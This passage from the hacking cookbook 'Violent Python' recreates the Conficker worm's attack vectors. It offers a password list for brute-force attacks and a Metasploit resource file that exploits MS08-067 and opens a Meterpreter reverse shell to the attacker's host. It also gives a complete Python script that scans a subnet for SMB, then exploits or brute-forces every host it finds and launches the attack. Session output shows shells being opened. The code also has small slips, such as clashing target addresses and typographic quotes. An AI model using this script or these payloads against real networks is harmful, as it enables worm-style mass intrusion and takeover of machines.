Violent Python: A Cookbook for Hackers, Forensic Analysts, Penetration Testers and Security Engineers (9 page)

Conficker, Why Trying Hard is Always Good Enough

In late November of 2008, computer security experts woke up to an interesting and game-changing worm. The Conficker or W32DownandUp Worm spread so rapidly that it infected five million computers in more than 200 countries (
Markoff, 2009
). While some of the advanced methods (digital signatures, encrypted payloads, and alternative propagation schemes) aided in the attack, Conficker at its very heart, holds some similarities in attack vectors to the Morris Worm of 1988 (
Nahorney, 2009
). In the following pages, we will recreate the primary attack vectors for Conficker.

At its base infection routine, Conficker utilized two separate attack vectors.

First, it utilized a zero-day exploit for the Windows server service vulnerability. Taking advantage of this vulnerability allowed the worm to cause a stack corruption that executed shellcode and downloaded a copy of it to the infected host. When this method of attack failed, Conficker attempted to gain access to a victim by brute forcing credentials to the default administrative network share (ADMIN$).

From The Trenches
Password Attacks

In its attack, Conficker utilized a password list of over 250 common passwords. The Morris Worm used a password list of 432 passwords. These two very successful attacks share 11 common passwords on the list. When building your attack list, it is definitely worth including these eleven passwords.

• 
aaa

• 
academia

• 
anything

• 
coffee

• 
computer

• 
cookie

• 
oracle

• 
password

• 
secret

• 
super

• 
unknown

In the wave of several high profile attacks, hackers have released password dumps onto the Internet. While the activities resulting in these password attempts are undoubtedly illegal, these passwords dumps have proven interesting research for security experts. DARPA Cyber Fast Track Project Manager, Peiter Zatko (aka Mudge) made an entire room full of Army Brass blush when he asked them if they constructed their passwords using a combination of two capitalized words following by two special character and two numbers. Additionally, the hacker group LulzSec released 26,000 passwords and personal information about users in a dump in early June 2011. In a coordinated strike, several of these passwords were reused to attack the social networking sites of the same individuals. However, the most prolific attack was the release of over 1 million usernames and passwords for Gawker, a popular news and gossip blog.

Attacking the Windows SMB Service with Metasploit

To simplify our attack we will utilize the Metasploit Framework, available for download from:
http://metasploit.com/download/
. The open source computer security project, Metasploit, has risen to quick popularity to become the de facto exploitation toolkit over the last eight years. Championed and developed by the legendary exploit writer, HD Moore, Metasploit allows penetration testers to launch thousands of different computer exploits from a standardized and scriptable environment. Shortly after the release of the vulnerability
included in the Conficker worm, HD Moore integrated a working exploit into the framework—ms08-067_netapi.

While attacks can be interactively driven using Metasploit, it also has the capability to read in a resource batch file. Metasploit sequentially processes the commands for the batch file in order to execute an attack. Consider, for instance, if we want to attack a target at our victim host 192.168.13.37 using the ms08_067_netapi (Conficker) exploit in order to deliver a shell back to our host at 192.168.77.77 on TCP port 7777.

 use exploit/windows/smb/ms08_067_netapi

 set RHOST 192.168.1.37

 set PAYLOAD windows/meterpreter/reverse_tcp

 set LHOST 192.168.77.77

 set LPORT 7777

 exploit –j –z

To utilize Metasploit’s attack, we first chose our exploit (exploit/windows/smb/ms08_067_netapi) and then set the target to 192.168.1.37. Following target selection, we indicated the payload as windows/meterpreter/reverse_tcp and selected a reverse connection to our host at 192.168.77.77 on port 7777. Finally, we told Metasploit to exploit the system. Saving the configuration file to the filename conficker.rc, we can now launch our attack by issuing the command msfconsole –r conficker.rc. This command will tell Metasploit to launch with the conficker.rc configuration file. When successful, our attack returns a Windows command shell to control the machine.

 attacker$ msfconsole -r conficker.rc

 [∗] Exploit running as background job.

 [∗] Started reverse handler on 192.168.77.77:7777

 [∗] Automatically detecting the target...

 [∗] Fingerprint: Windows XP - Service Pack 2 - lang:English

 [∗] Selected Target: Windows XP SP2 English (AlwaysOn NX)

 [∗] Attempting to trigger the vulnerability...

 [∗] Sending stage (752128 bytes) to 192.168.1.37

 [∗] Meterpreter session 1 opened (192.168.77.77:7777 -> 192.168.1.37:1087) at Fri Nov 11 15:35:05 -0700 2011

 msf exploit(ms08_067_netapi) > sessions -i 1

 [∗] Starting interaction with 1...

 meterpreter > execute -i -f cmd.exe

 Process 2024 created.

 Channel 1 created.

 Microsoft Windows XP [Version 5.1.2600]

 (C) Copyright 1985-2001 Microsoft Corp.

 C:\WINDOWS\system32>

Writing Python to Interact with Metasploit

Great! We built a configuration file, exploited a machine and gained a shell. Repeating this process for 254 hosts might take us quite a bit of time in order to type out a configuration file, but if we use Python again, we can generate a quick script to scan for hosts that have TCP port 445 open and then build a Metasploit resource file to attack all the vulnerable hosts.

First, lets use the Nmap-Python module from our previous portscanner example. Here, the function findTgts,() takes an input of potential target hosts and returns all the hosts that have TCP port 445 open. TCP port 445 serves as a primary port for the SMB protocol. By filtering only the hosts that have a TCP port 445 open, our attack script can now target only valid ones. This will eliminate hosts that would ordinarily block our connection attempt. The function iterates through all hosts in the scan. If the function finds a host with a TCP open, it appends that host to an array. After completing the iteration, the function returns this array, containing all the hosts with TCP port 445 open.

 import nmap

 def findTgts(subNet):

  nmScan = nmap.PortScanner()

  nmScan.scan(subNet, ‘445’)

  tgtHosts = []

  for host in nmScan.all_hosts():

   if nmScan[host].has_tcp(445):

    state = nmScan[host][‘tcp’][445][‘state’]

    if state == ‘open’:

     print ‘[+] Found Target Host: ’ + host

     tgtHosts.append(host)

  return tgtHosts

Next, we will set up a listener for our exploited targets. This listener, or command and control channel, will allow us to remotely interact with our target hosts once they are exploited. Metasploit provides an advanced and dynamic payload known as the Meterpreter. Running on a remote machine, the Metasploit Meterpreter, calls back to our command and control host and provides a wealth of functionality to analyze and control the infected target. Meterpreter extensions provide the ability to look for forensic objects, issue
commands, route traffic through the infected host, install a key-logger, or dump the password hashes.

When a Meterpreter process connects back to the attacker for command and control it a Metasploit module called the multi/handler.To setup a multi/handler listener on our machine, we will first need to write the instructions to our Metasploit resource configuration file. Notice, how we set the payload as a reverse_tcp connection and then indicate our local host address and port we wish to receive the connection on. Additionally, we will set a global configuration DisablePayloadHandler to indicate that all future hosts do not need to set up a handler since we already have one listening.

 def setupHandler(configFile, lhost, lport):

  configFile.write(‘use exploit/multi/handler\n’)

  configFile.write(‘set PAYLOAD ’+\

   ‘windows/meterpreter/reverse_tcp\n’)

  configFile.write(‘set LPORT ’ + str(lport) + ‘\n’)

  configFile.write(‘set LHOST ’ + lhost + ‘\n’)

  configFile.write(‘exploit -j -z\n’)

  configFile.write(‘setg DisablePayloadHandler 1\n’)

Finally, the script has reached the point of being able to launch exploits against the target. This function will input a Metasploit configuration file, a target, and the local address and ports for the exploit. The function will write the particular exploit settings to the configuration file. It first selects the particular exploit, ms08_067_netapi, used in the Conficker attack against the target or RHOST. Additionally, it chooses the Meterpreter payload and the local address (LHOST) and port (LPORT) required for the Meterpreter. Finally, it sends an instruction to exploit the machine under the context of a job (-j) and to not interact with the job immediately (-z). The script requires these particular options since it will exploit several targets and therefore cannot interact with all of them simultaneously.

 def confickerExploit(configFile, tgtHost, lhost, lport):

  configFile.write(‘use exploit/windows/smb/ms08_067_netapi\n’)

  configFile.write(‘set RHOST ’ + str(tgtHost) + ‘\n’)

  configFile.write(‘set PAYLOAD ’+\

    ‘windows/meterpreter/reverse_tcp\n’)

  configFile.write(‘set LPORT ’ + str(lport) + ‘\n’)

  configFile.write(‘set LHOST ’ + lhost + ‘\n’)

  configFile.write(‘exploit -j -z\n’)

Remote Process Execution Brute Force

While attackers have successfully launched the ms08_067_netapi exploit against victims around the world, a defender can easily prevent it with current security patches. Thus, the script will require the second attack vector used in the Conficker Worm. It will need to brute force through SMB username/password combinations attempting to gain access to remotely executed processes on the host (psexec). The function smbBrute takes the Metasploit configuration file, the target host, a second file containing a list of passwords, and the local address and port for the listener. It sets the username as the default windows Administrator and then opens the password file. For each password in the file, the function builds a Metasploit resource configuration in order to use the remote process execution (psexec) exploit. If a username/password combination succeeds, the exploit launches the Meterpreter payload back to the local address and port.

 def smbBrute(configFile, tgtHost, passwdFile, lhost, lport):

  username = ‘Administrator’

  pF = open(passwdFile, ‘r’)

  for password in pF.readlines():

   password = password.strip(‘\n’).strip(‘\r’)

   configFile.write(‘use exploit/windows/smb/psexec\n’)

   configFile.write(‘set SMBUser ’ + str(username) + ‘\n’)

   configFile.write(‘set SMBPass ’ + str(password) + ‘\n’)

   configFile.write(‘set RHOST ’ + str(tgtHost) + ‘\n’)

   configFile.write(‘set PAYLOAD ’+\

    ‘windows/meterpreter/reverse_tcp\n’)

   configFile.write(‘set LPORT ’ + str(lport) + ‘\n’)

   configFile.write(‘set LHOST ’ + lhost + ‘\n’)

   configFile.write(‘exploit -j -z\n’)

Putting it Back Together to Build Our Own Conficker

Tying this back all together, the script now has the ability to scan for possible targets and exploit them using the MS08_067 vulnerability and/or brute force through a list of passwords to remotely execute processes. Finally, we will add some option parsing back to the main() function of the script and then call the previous written functions as required to wrap up the entire script. The complete script follows.

 import os

 import optparse

 import sys

 import nmap

 def findTgts(subNet):

  nmScan = nmap.PortScanner()

  nmScan.scan(subNet, ‘445’)

  tgtHosts = []

  for host in nmScan.all_hosts():

   if nmScan[host].has_tcp(445):

    state = nmScan[host][‘tcp’][445][‘state’]

    if state == ‘open’:

     print ‘[+] Found Target Host: ’ + host

     tgtHosts.append(host)

  return tgtHosts

 def setupHandler(configFile, lhost, lport):

  configFile.write(‘use exploit/multi/handler\n’)

  configFile.write(‘set payload ’+\

    ‘windows/meterpreter/reverse_tcp\n’)

  configFile.write(‘set LPORT ’ + str(lport) + ‘\n’)

  configFile.write(‘set LHOST ’ + lhost + ‘\n’)

  configFile.write(‘exploit -j -z\n’)

  configFile.write(‘setg DisablePayloadHandler 1\n’)

 def confickerExploit(configFile, tgtHost, lhost, lport):

  configFile.write(‘use exploit/windows/smb/ms08_067_netapi\n’)

  configFile.write(‘set RHOST ’ + str(tgtHost) + ‘\n’)

  configFile.write(‘set payload ’+\

    ‘windows/meterpreter/reverse_tcp\n’)

  configFile.write(‘set LPORT ’ + str(lport) + ‘\n’)

  configFile.write(‘set LHOST ’ + lhost + ‘\n’)

  configFile.write(‘exploit -j -z\n’)

 def smbBrute(configFile, tgtHost, passwdFile, lhost, lport):

  username = ‘Administrator’

  pF = open(passwdFile, ‘r’)

  for password in pF.readlines():

   password = password.strip(‘\n’).strip(‘\r’)

   configFile.write(‘use exploit/windows/smb/psexec\n’)

   configFile.write(‘set SMBUser ’ + str(username) + ‘\n’)

   configFile.write(‘set SMBPass ’ + str(password) + ‘\n’)

   configFile.write(‘set RHOST ’ + str(tgtHost) + ‘\n’)

   configFile.write(‘set payload ’+\

    ‘windows/meterpreter/reverse_tcp\n’)

   configFile.write(‘set LPORT ’ + str(lport) + ‘\n’)

   configFile.write(‘set LHOST ’ + lhost + ‘\n’)

   configFile.write(‘exploit -j -z\n’)

 def main():

  configFile = open(‘meta.rc’, ‘w’)

  parser = optparse.OptionParser(‘[-] Usage%prog ’+\

   ‘-H -l [-p -F ]’)

  parser.add_option(‘-H’, dest=‘tgtHost’, type=‘string’, \

   help=‘specify the target address[es]’)

  parser.add_option(‘-p’, dest=‘lport’, type=‘string’, \

   help=‘specify the listen port’)

  parser.add_option(‘-l’, dest=‘lhost’, type=‘string’, \

   help=‘specify the listen address’)

  parser.add_option(‘-F’, dest=‘passwdFile’, type=‘string’, \

   help=‘password file for SMB brute force attempt’)

  (options, args) = parser.parse_args()

  if (options.tgtHost == None) | (options.lhost == None):

   print parser.usage

   exit(0)

  lhost = options.lhost

  lport = options.lport

  if lport == None:

   lport = ‘1337’

  passwdFile = options.passwdFile

  tgtHosts = findTgts(options.tgtHost)

  setupHandler(configFile, lhost, lport)

  for tgtHost in tgtHosts:

   confickerExploit(configFile, tgtHost, lhost, lport)

   if passwdFile != None:

    smbBrute(configFile, tgtHost, passwdFile, lhost, lport)

  configFile.close()

  os.system(‘msfconsole -r meta.rc’)

 if __name__ == ‘__main__’:

  main()

So far we have exploited machines using some well-known methods. However, what happens when you encounter a target with no known exploit? How do you build your own zero-day attack? In the following section, we will construct our own zero-day attack.

 attacker# python conficker.py -H 192.168.1.30-50 -l 192.168.1.3 -F passwords.txt

 [+] Found Target Host: 192.168.1.35

 [+] Found Target Host: 192.168.1.37

 [+] Found Target Host: 192.168.1.42

 [+] Found Target Host: 192.168.1.45

 [+] Found Target Host: 192.168.1.47

 <..SNIPPED..>

 [∗] Selected Target: Windows XP SP2 English (AlwaysOn NX)

 [∗] Attempting to trigger the vulnerability...

 [∗] Sending stage (752128 bytes) to 192.168.1.37

 [∗] Meterpreter session 1 opened (192.168.1.3:1337 -> 192.168.1.37:1087) at Sat Jun 23 16:25:05 -0700 2012

 <..SNIPPED..>

 [∗] Selected Target: Windows XP SP2 English (AlwaysOn NX)

 [∗] Attempting to trigger the vulnerability...

 [∗] Sending stage (752128 bytes) to 192.168.1.42

 [∗] Meterpreter session 1 opened (192.168.1.3:1337 -> 192.168.1.42:1094) at Sat Jun 23 15:25:09 -0700 2012

Other books

Zero-G by Alton Gansky
Mediums Rare by Richard Matheson
Puberty by Jillian Powell
Chasing the Storm by Aliyah Burke
Trail of Evil - eARC by Travis S Taylor
Breve historia de la Argentina by José Luis Romero
A Life by Italo Svevo
Truth or Demon by Kathy Love
Highlander in Her Dreams by Allie Mackay
Flirting with Sin by Naima Simone